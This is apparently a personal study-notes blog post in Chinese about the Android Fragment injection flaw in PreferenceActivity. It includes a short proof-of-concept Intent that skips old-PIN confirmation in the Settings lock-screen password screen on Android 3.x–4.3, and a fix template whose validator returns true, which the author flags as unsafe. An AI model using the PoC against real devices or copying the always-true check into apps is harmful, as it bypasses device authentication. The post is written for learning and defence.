【Android 学习记录】Fragment注入漏洞

1 概述

这个月太忙,生活工作事情都是到了年关,好几个周末都无休了。想了半天不知道写啥,前段时间翻阅乌云的历史遗迹,对于这类注入问题,感觉应该加深一下印象,因此,在高铁上就拿这篇文章大部分都是转载 + 自我总结进行凑数了
参考文章
Fragment Injection漏洞杂谈 – 路人甲
Android框架攻击之Fragment注入
Android静态安全检测 -> Fragment注入攻击漏洞
Activity与fragment之间的传值:fragment的setArguments()和getArguments()
Fragment基础概念

2 Fragment 漏洞简述

Android Framework提供了android.preference.PreferenceActivity这个类来对preference进行展示,我们可以继承这个类来展示preference并进行扩展。基类中会接收Intent数据,并进行一定检查,其中两个比较重要:

PreferenceActivity.EXTRA_SHOW_FRAGMENT (':android:show_fragment') 
PreferenceActivity.EXTRA_SHOW_FRAGMENT_ARGUMENTS (':android:show_fragment_arguments')

2.1 参数传递关键点:参数传递

第一个extra域包含PreferenceActivity要动态加载的Fragment,Fragment也可以通过Fragment.getActivity这个函数来获取传进来的参数。PreferenceActivity会调用Fragment.instantiate来动态加载Fragment.这个函数通过反射来加载Fragment,并把它变成Fragment对象
第二个extra域包含传给该Fragment的参数,
其中最关键的逻辑代码在这里

mSinglePane = hidingHeaders || !onIsMultiPane();
String initialFragment = getIntent().getStringExtra(EXTRA_SHOW_FRAGMENT);
Bundle initialArguments = getIntent().getBundleExtra(EXTRA_SHOW_FRAGMENT_ARGUMENTS);
int initialTitle = getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_TITLE, 0);
int initialShortTitle = getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_SHORT_TITLE, 0);

2.2 历史漏洞锁屏密码重置漏洞-抄的

这是3.X到4.3中的所有版本的一个漏洞,太老了没啥用的,Setting几乎每个Android设备都有的。Setting是以system_uid方式签名,所以具备行使system的权力。它的主界面com.android.settings.Settings就是继承自PreferenceActivity,而且肯定是exported。以此作为入口,尝试寻找Setting里有哪些重要的Fragment,并尝试把它加载进来,主要目的是希望可以跳过某些需要用户交互的限制。比如说ChooseLockPassword$ChooseLockPasswordFragment这个Fragment,这个类主要是负责锁屏界面的密码设定和修改。同时,这个类会根据之前传入的initialArguments做不同的逻辑,关键代码如下所示:

 Intent intent = getActivity().getIntent();
 final boolean confirmCredentials = intent.getBooleanExtra("confirm_credentials", true);
     if (savedInstanceState == null) {
          updateStage(Stage.Introduction);
          if (confirmCredentials) {
              mChooseLockSettingsHelper.launchConfirmationActivity(CONFIRM_EXISTING_REQUEST, null, null);
          }
      } else {
           mFirstPin = savedInstanceState.getString(KEY_FIRST_PIN);
           final String state = savedInstanceState.getString(KEY_UI_STAGE);
           if (state != null) {
                mUiStage = Stage.valueOf(state);
                updateStage(mUiStage);
            }
      }

如果传入的参数当中,key为"confirm_credentials"为true,就会调起旧密码验证的流程。如果为false,就可以跳过旧密码验证而直接进入密码修改的流程。测试代码如下所示:

Intent intent = new Intent();
intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
intent.setClassName("com.android.settings", "com.android.settings.Settings");
intent.putExtra(":android:show_fragment", "com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment");
intent.putExtra("confirm_credentials", false);
startActivity(intent);

正常的密码修改流程是"设置"->“安全”->“屏幕锁定”->“确认你的PIN”,如所下图所示:
【Android 学习记录】Fragment注入漏洞_第1张图片
攻击之后变成
【Android 学习记录】Fragment注入漏洞_第2张图片

2.3 历史漏洞修复方法-还是抄的

【1】isValidFragment(String fragmentName) 
 返回Boolean(子类应当重写这个方法,并对fragment进行校验判断)

这里直接return true一定是有问题的

public final class MyPreferenceActivity extends PreferenceActivity {
	private boolean doValidcheck(String fragmentName) throws IllegalArgumentException{
		//TODO 做合法性检查
		return true;// 注意check,千万要注意
	}
	//添加上这个方法,以使2.x~4.3的代码在4.4上可以正常运行
	protected boolean isValidFragment(String fragmentName) {
		return doValidcheck(fragmentName);
	}
	@Override
	protected void onCreate(Bundle savedInstanceState) {
		//在onCreate前就做合法性判断
		String fragmentname = getIntent().getStringExtra(":android:show_fragment");
		doValidcheck(fragmentname);
		super.onCreate(savedInstanceState);
	}
}

3 其他的知识

3.1 Activity和Fragment其他的传值方式

Fragment和Activity还有当前一般使用下面这种参数传递的方法,也是抄来的
写入方法:将bundle通过setArguments(bundle)方法设置进fragment:fragment.setArguments(bundle);

Fragment01 fragment01 = new Fragment01();
Bundle bundle = new Bundle();
bundle.putString("str","这是MainActivity传来的值~");
fragment01.setArguments(bundle);

读取方法 指定的对象,通过getArguments 进行读取

String str = (String)getArguments().get("str");

如果通过组件暴露,控制setArgument的参数,也能够进行攻击,属于攻击的另外一种形式

3.2 Activity的继承关系

1】java.lang.Object
【2】android.content.Context
【3】android.content.ContextWrapper
【4】android.view.ContextThemeWrapper
【5】android.app.Activity
【6】android.app.ListActivity
【7】android.preference.PreferenceActivity

3.3 综上所述

综上所述,这个漏洞虽然修了,但是修复能力主要依赖于开发人员的能力问题,这类问题在新版本上,依然存在

你可能感兴趣的:(Android,安全)